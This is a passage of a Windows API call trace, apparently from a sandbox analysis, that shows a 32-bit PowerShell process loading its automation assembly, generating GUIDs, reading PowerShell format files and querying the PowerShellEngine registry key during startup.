GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.890] GetLastError () returned 0x0 [0096.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.891] GetLastError () returned 0x0 [0096.891] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.891] GetLastError () returned 0x0 [0096.891] VirtualQuery (in: lpAddress=0x27d104, lpBuffer=0x27e104, dwLength=0x1c | out: lpBuffer=0x27e104*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.891] VirtualQuery (in: lpAddress=0x27d140, lpBuffer=0x27e140, dwLength=0x1c | out: lpBuffer=0x27e140*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.894] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x529c5565, Data2=0xa851, Data3=0x49ce, Data4=([0]=0x97, [1]=0xdd, [2]=0xf1, [3]=0xfe, [4]=0x51, [5]=0xe7, [6]=0x9e, [7]=0x8f))) returned 0x0 [0096.898] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x5f35cc3f, Data2=0xc60c, Data3=0x4de1, Data4=([0]=0x80, [1]=0x98, [2]=0x3f, [3]=0xcb, [4]=0x2d, [5]=0x40, [6]=0xcd, [7]=0x1f))) returned 0x0 [0096.900] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x2fda7e77, Data2=0xac76, Data3=0x4356, Data4=([0]=0x8f, [1]=0x56, [2]=0x48, [3]=0x30, [4]=0x5c, [5]=0xb, [6]=0x3, [7]=0xa))) returned 0x0 [0096.901] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x30c77914, Data2=0x47c9, Data3=0x4bb3, Data4=([0]=0x97, [1]=0x81, [2]=0x9a, [3]=0xe2, [4]=0xe0, [5]=0xdd, [6]=0x7e, [7]=0x67))) returned 0x0 [0096.901] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x88650e30, Data2=0x95da, Data3=0x450a, Data4=([0]=0x99, [1]=0x15, [2]=0xca, [3]=0x1b, [4]=0x6c, [5]=0x8c, [6]=0x9a, [7]=0x82))) returned 0x0 [0096.901] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xbb1c1858, Data2=0x701b, Data3=0x47a5, Data4=([0]=0xbf, [1]=0x32, [2]=0x72, [3]=0xfe, [4]=0xa0, [5]=0xda, [6]=0xda, [7]=0x9d))) returned 0x0 [0096.902] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x4612210f, Data2=0xf54d, Data3=0x4522, Data4=([0]=0xa8, [1]=0x55, [2]=0xaa, [3]=0x71, [4]=0xe5, [5]=0xa3, [6]=0x30, [7]=0xec))) returned 0x0 [0096.902] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x264ec847, Data2=0xe38f, Data3=0x4f33, Data4=([0]=0x97, [1]=0x3c, [2]=0xce, [3]=0xd6, [4]=0x24, [5]=0x28, [6]=0xce, [7]=0xb2))) returned 0x0 [0096.903] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xa9af6c36, Data2=0xffff, Data3=0x4389, Data4=([0]=0x84, [1]=0xdb, [2]=0x47, [3]=0x21, [4]=0xed, [5]=0x8b, [6]=0x33, [7]=0x80))) returned 0x0 [0096.903] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x948506d7, Data2=0x71fc, Data3=0x4335, Data4=([0]=0xb8, [1]=0xb5, [2]=0x1a, [3]=0xba, [4]=0xb2, [5]=0xd3, [6]=0x87, [7]=0x33))) returned 0x0 [0096.903] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x324 [0096.904] GetLastError () returned 0x0 [0096.904] GetFileType (hFile=0x324) returned 0x1 [0096.904] SetErrorMode (uMode=0x1) returned 0x1 [0096.904] GetFileType (hFile=0x324) returned 0x1 [0096.904] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.906] GetLastError () returned 0x0 [0096.907] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.907] GetLastError () returned 0x0 [0096.908] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.908] GetLastError () returned 0x0 [0096.908] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.908] GetLastError () returned 0x0 [0096.908] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.908] GetLastError () returned 0x0 [0096.909] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.909] GetLastError () returned 0x0 [0096.909] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.910] GetLastError () returned 0x0 [0096.910] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.910] GetLastError () returned 0x0 [0096.910] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.910] GetLastError () returned 0x0 [0096.911] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.911] GetLastError () returned 0x0 [0096.911] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.912] GetLastError () returned 0x0 [0096.912] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.912] GetLastError () returned 0x0 [0096.912] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.912] GetLastError () returned 0x0 [0096.912] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.912] GetLastError () returned 0x0 [0096.912] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.913] GetLastError () returned 0x0 [0096.913] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.913] GetLastError () returned 0x0 [0096.913] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.913] GetLastError () returned 0x0 [0096.916] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.916] GetLastError () returned 0x0 [0096.916] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.916] GetLastError () returned 0x0 [0096.916] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.916] GetLastError () returned 0x0 [0096.916] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.916] GetLastError () returned 0x0 [0096.917] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0xe67, lpOverlapped=0x0) returned 1 [0096.917] GetLastError () returned 0x0 [0096.917] ReadFile (in: hFile=0x324, lpBuffer=0x31bcbf7, nNumberOfBytesToRead=0x199, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bcbf7*, lpNumberOfBytesRead=0x27e864*=0x0, lpOverlapped=0x0) returned 1 [0096.917] GetLastError () returned 0x0 [0096.917] ReadFile (in: hFile=0x324, lpBuffer=0x31bd5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x31bd5f0*, lpNumberOfBytesRead=0x27e864*=0x0, lpOverlapped=0x0) returned 1 [0096.917] GetLastError () returned 0x0 [0096.917] CloseHandle (hObject=0x324) returned 1 [0096.917] GetLastError () returned 0x0 [0096.919] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e7e8 | out: phkResult=0x27e7e8*=0x324) returned 0x0 [0096.919] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e830, lpData=0x0, lpcbData=0x27e82c*=0x0 | out: lpType=0x27e830*=0x1, lpData=0x0, lpcbData=0x27e82c*=0x56) returned 0x0 [0096.919] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e830, lpData=0x6f7118, lpcbData=0x27e82c*=0x56 | out: lpType=0x27e830*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e82c*=0x56) returned 0x0 [0096.919] RegCloseKey (hKey=0x324) returned 0x0 [0096.923] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x8afee6b2, Data2=0x27d2, Data3=0x495d, Data4=([0]=0xb8, [1]=0xc1, [2]=0x4f, [3]=0xff, [4]=0x6c, [5]=0xea, [6]=0xfd, [7]=0xf0))) returned 0x0 [0096.924] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x9e514b89, Data2=0xfd3d, Data3=0x4ee5, Data4=([0]=0x97, [1]=0x2b, [2]=0x6c, [3]=0x56, [4]=0xc6, [5]=0xb6, [6]=0xc0, [7]=0xc1))) returned 0x0 [0096.924] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x167074c8, Data2=0x9b4, Data3=0x4ae3, Data4=([0]=0xaa, [1]=0xf4, [2]=0xda, [3]=0xf4, [4]=0xeb, [5]=0xba, [6]=0x94, [7]=0xb0))) returned 0x0 [0096.924] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x7d1c3b8, Data2=0x1ab2, Data3=0x4194, Data4=([0]=0x9a, [1]=0x87, [2]=0x20, [3]=0xdb, [4]=0xbc, [5]=0x70, [6]=0xe0, [7]=0xa7))) returned 0x0 [0096.924] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xec2029a, Data2=0xd3c3, Data3=0x4750, Data4=([0]=0xa8, [1]=0x8e, [2]=0x3, [3]=0x6, [4]=0x9a, [5]=0x1f, [6]=0xeb, [7]=0x4a))) returned 0x0 [0096.925] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x6318463d, Data2=0x443a, Data3=0x4740, Data4=([0]=0x9c, [1]=0x62, [2]=0xf7, [3]=0xae, [4]=0xcb, [5]=0x62, [6]=0xb3, [7]=0x5))) returned 0x0 [0096.925] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xae8f0814, Data2=0x3468, Data3=0x4ed6, Data4=([0]=0x85, [1]=0xa2, [2]=0xc0, [3]=0xcb, [4]=0xb0, [5]=0x8d, [6]=0x11, [7]=0xd2))) returned 0x0 [0096.925] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xd7c4431d, Data2=0xa8fc, Data3=0x4c64, Data4=([0]=0xb4, [1]=0x96, [2]=0x68, [3]=0x21, [4]=0x65, [5]=0x9c, [6]=0x2c, [7]=0x40))) returned 0x0 [0096.925] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x111eb732, Data2=0x8ea0, Data3=0x4511, Data4=([0]=0xbf, [1]=0x2e, [2]=0xba, [3]=0x85, [4]=0xac, [5]=0xd7, [6]=0xe9, [7]=0x21))) returned 0x0 [0096.925] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x6b85d081, Data2=0x76c1, Data3=0x4b0b, Data4=([0]=0xbf, [1]=0x3, [2]=0xd7, [3]=0xf4, [4]=0x5a, [5]=0xf3, [6]=0xff, [7]=0xea))) returned 0x0 [0096.925] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x9fc0c802, Data2=0xb38c, Data3=0x4f4d, Data4=([0]=0x84, [1]=0xda, [2]=0xfe, [3]=0x91, [4]=0xe3, [5]=0xbe, [6]=0xb8, [7]=0x3d))) returned 0x0 [0096.926] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x3d4c67cf, Data2=0x4fe5, Data3=0x429d, Data4=([0]=0x8c, [1]=0x21, [2]=0xea, [3]=0xff, [4]=0xb5, [5]=0xa4, [6]=0xfe, [7]=0x22))) returned 0x0 [0096.926] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x4cb71014, Data2=0xcc6a, Data3=0x4fbd, Data4=([0]=0x81, [1]=0x82, [2]=0x54, [3]=0x68, [4]=0x3f, [5]=0xf4, [6]=0x14, [7]=0xed))) returned 0x0 [0096.926] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x4b1254d3, Data2=0xb489, Data3=0x4cd6, Data4=([0]=0xa4, [1]=0xfb, [2]=0x98, [3]=0xd5, [4]=0x81, [5]=0xed, [6]=0xff, [7]=0x58))) returned 0x0 [0096.926] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xd6543774, Data2=0xdc65, Data3=0x490c, Data4=([0]=0xa5, [1]=0xca, [2]=0x47, [3]=0x66, [4]=0x74, [5]=0xdd, [6]=0x1, [7]=0x1e))) returned 0x0 [0096.926] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x6174c80e, Data2=0x5b91, Data3=0x420b, Data4=([0]=0xb9, [1]=0x2b, [2]=0x6d, [3]=0x19, [4]=0x63, [5]=0x59, [6]=0x36, [7]=0x71))) returned 0x0 [0096.927] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x2112c2db, Data2=0x898c, Data3=0x4ffe, Data4=([0]=0x87, [1]=0xba, [2]=0xca, [3]=0xb3, [4]=0x58, [5]=0x66, [6]=0x42, [7]=0x6b))) returned 0x0 [0096.927] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xb1f7ec05, Data2=0xa328, Data3=0x44e3, Data4=([0]=0xa5, [1]=0x86, [2]=0xac, [3]=0x26, [4]=0x73, [5]=0x7b, [6]=0xa3, [7]=0xc4))) returned 0x0 [0096.927] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x69bb8ee7, Data2=0x64d0, Data3=0x46d0, Data4=([0]=0x9d, [1]=0x75, [2]=0xd, [3]=0xda, [4]=0xe3, [5]=0x39, [6]=0x1b, [7]=0xdb))) returned 0x0 [0096.928] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xaa4fcd16, Data2=0x3b74, Data3=0x47ab, Data4=([0]=0xae, [1]=0x7c, [2]=0xf9, [3]=0xbd, [4]=0xee, [5]=0xbd, [6]=0x2c, [7]=0xb3))) returned 0x0 [0096.928] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x9152c4bf, Data2=0x3854, Data3=0x49c0, Data4=([0]=0x98, [1]=0x1d, [2]=0xe5, [3]=0xdd, [4]=0x9a, [5]=0xf2, [6]=0x41, [7]=0xf8))) returned 0x0 [0096.928] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x335bd4ab, Data2=0xc684, Data3=0x40f0, Data4=([0]=0xa0, [1]=0x91, [2]=0x69, [3]=0x69, [4]=0x95, [5]=0x33, [6]=0xb9, [7]=0xcb))) returned 0x0 [0096.929] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x1d3eecb6, Data2=0x1990, Data3=0x4cc2, Data4=([0]=0x87, [1]=0x59, [2]=0x49, [3]=0x8c, [4]=0xdc, [5]=0x73, [6]=0xfc, [7]=0x69))) returned 0x0 [0096.929] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xb68f6183, Data2=0xe25e, Data3=0x45c4, Data4=([0]=0xbc, [1]=0xa5, [2]=0x79, [3]=0x63, [4]=0x83, [5]=0x76, [6]=0x1c, [7]=0x78))) returned 0x0 [0096.929] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xe5be396b, Data2=0xfac9, Data3=0x497c, Data4=([0]=0x9c, [1]=0x9, [2]=0x18, [3]=0x3c, [4]=0x8a, [5]=0x32, [6]=0xf3, [7]=0x13))) returned 0x0 [0096.929] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x350c0101, Data2=0xf4b4, Data3=0x4978, Data4=([0]=0xb7, [1]=0xe3, [2]=0x49, [3]=0x95, [4]=0x78, [5]=0x46, [6]=0x45, [7]=0x38))) returned 0x0 [0096.929] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x5f1776b0, Data2=0xe0ec, Data3=0x4e28, Data4=([0]=0xa3, [1]=0x96, [2]=0x44, [3]=0x7a, [4]=0xc8, [5]=0x10, [6]=0x17, [7]=0x26))) returned 0x0 [0096.929] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xe7624aa0, Data2=0x8c81, Data3=0x44b9, Data4=([0]=0xba, [1]=0x7a, [2]=0x9c, [3]=0xee, [4]=0x92, [5]=0x5f, [6]=0xb8, [7]=0x10))) returned 0x0 [0096.930] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x2952f54c, Data2=0x3ee9, Data3=0x4f9a, Data4=([0]=0x84, [1]=0x39, [2]=0x5a, [3]=0x9a, [4]=0xbf, [5]=0xa0, [6]=0xb4, [7]=0xd3))) returned 0x0 [0096.930] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x7dbc581b, Data2=0xc647, Data3=0x41ea, Data4=([0]=0xbc, [1]=0x7e, [2]=0x8b, [3]=0x36, [4]=0xbc, [5]=0x9e, [6]=0xfe, [7]=0x9d))) returned 0x0 [0096.930] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x3ada4f4e, Data2=0xee17, Data3=0x4a4b, Data4=([0]=0x8b, [1]=0x96, [2]=0xdd, [3]=0xbe, [4]=0x1d, [5]=0x50, [6]=0x7e, [7]=0x78))) returned 0x0 [0096.930] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x539fa7f6, Data2=0x22a9, Data3=0x4397, Data4=([0]=0x81, [1]=0x31, [2]=0x85, [3]=0x15, [4]=0xfb, [5]=0x5f, [6]=0x47, [7]=0x7b))) returned 0x0 [0096.930] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x1a3e5c6f, Data2=0x55be, Data3=0x436f, Data4=([0]=0x98, [1]=0x13, [2]=0x6c, [3]=0x71, [4]=0x31, [5]=0xd3, [6]=0x29, [7]=0x49))) returned 0x0 [0096.933] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xd8bd73c4, Data2=0xba1f, Data3=0x4c07, Data4=([0]=0xa3, [1]=0xd0, [2]=0xf5, [3]=0xc5, [4]=0xe8, [5]=0xa4, [6]=0xa6, [7]=0xcb))) returned 0x0 [0096.934] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xd8f11594, Data2=0x1ca, Data3=0x4313, Data4=([0]=0x83, [1]=0xd2, [2]=0x79, [3]=0xf1, [4]=0x2, [5]=0x99, [6]=0x6f, [7]=0xf3))) returned 0x0 [0096.934] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xbe0a9fe6, Data2=0xc3d, Data3=0x4a61, Data4=([0]=0xa9, [1]=0x10, [2]=0x87, [3]=0x5d, [4]=0x75, [5]=0xb7, [6]=0xdf, [7]=0x75))) returned 0x0 [0096.934] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x96863884, Data2=0x3794, Data3=0x4fb7, Data4=([0]=0xab, [1]=0x2a, [2]=0xfb, [3]=0x9e, [4]=0x49, [5]=0xab, [6]=0x28, [7]=0xf8))) returned 0x0 [0096.934] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xe61bcb64, Data2=0x9d8f, Data3=0x4263, Data4=([0]=0xa4, [1]=0xff, [2]=0xe0, [3]=0xf5, [4]=0x28, [5]=0x37, [6]=0xa3, [7]=0x93))) returned 0x0 [0096.934] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xf95070a7, Data2=0x438, Data3=0x486c, Data4=([0]=0xb9, [1]=0x5f, [2]=0xd0, [3]=0x5b, [4]=0x49, [5]=0xc6, [6]=0x4d, [7]=0x59))) returned 0x0 [0096.935] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xf60b374b, Data2=0xb43a, Data3=0x44c4, Data4=([0]=0xb4, [1]=0x5c, [2]=0x59, [3]=0x55, [4]=0x5, [5]=0x11, [6]=0x63, [7]=0x74))) returned 0x0 [0096.935] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x10c63b7b, Data2=0x3618, Data3=0x4741, Data4=([0]=0x86, [1]=0xe4, [2]=0x27, [3]=0xd6, [4]=0xfb, [5]=0x79, [6]=0x60, [7]=0x29))) returned 0x0 [0096.935] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x20e6cad3, Data2=0xa14e, Data3=0x4b48, Data4=([0]=0x88, [1]=0x1b, [2]=0x32, [3]=0xc9, [4]=0x5, [5]=0xf4, [6]=0x29, [7]=0x95))) returned 0x0 [0096.936] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xc17fdcb6, Data2=0xa3fb, Data3=0x429b, Data4=([0]=0xa7, [1]=0xea, [2]=0xb6, [3]=0xc0, [4]=0x54, [5]=0xff, [6]=0xb6, [7]=0x10))) returned 0x0 [0096.936] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x469c2ff8, Data2=0xd983, Data3=0x4153, Data4=([0]=0x89, [1]=0x31, [2]=0x10, [3]=0x33, [4]=0x25, [5]=0x56, [6]=0xe, [7]=0xec))) returned 0x0 [0096.936] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x8c32f7a7, Data2=0xe2cb, Data3=0x4044, Data4=([0]=0x96, [1]=0x6c, [2]=0x5b, [3]=0xc9, [4]=0xda, [5]=0xd9, [6]=0x7e, [7]=0xf3))) returned 0x0 [0096.936] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x1406fa1a, Data2=0x2bd6, Data3=0x4966, Data4=([0]=0x8c, [1]=0x28, [2]=0xb, [3]=0x9d, [4]=0xfd, [5]=0xb9, [6]=0xa7, [7]=0xc6))) returned 0x0 [0096.936] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xc83dc2ec, Data2=0xb66f, Data3=0x44f2, Data4=([0]=0x9b, [1]=0x7c, [2]=0xe9, [3]=0x87, [4]=0xd3, [5]=0xab, [6]=0x62, [7]=0x2e))) returned 0x0 [0096.937] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x3304bc54, Data2=0x448f, Data3=0x428c, Data4=([0]=0x97, [1]=0x43, [2]=0x9e, [3]=0x8e, [4]=0x41, [5]=0x19, [6]=0xc8, [7]=0x18))) returned 0x0 [0096.938] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x324 [0096.938] GetLastError () returned 0x0 [0096.938] GetFileType 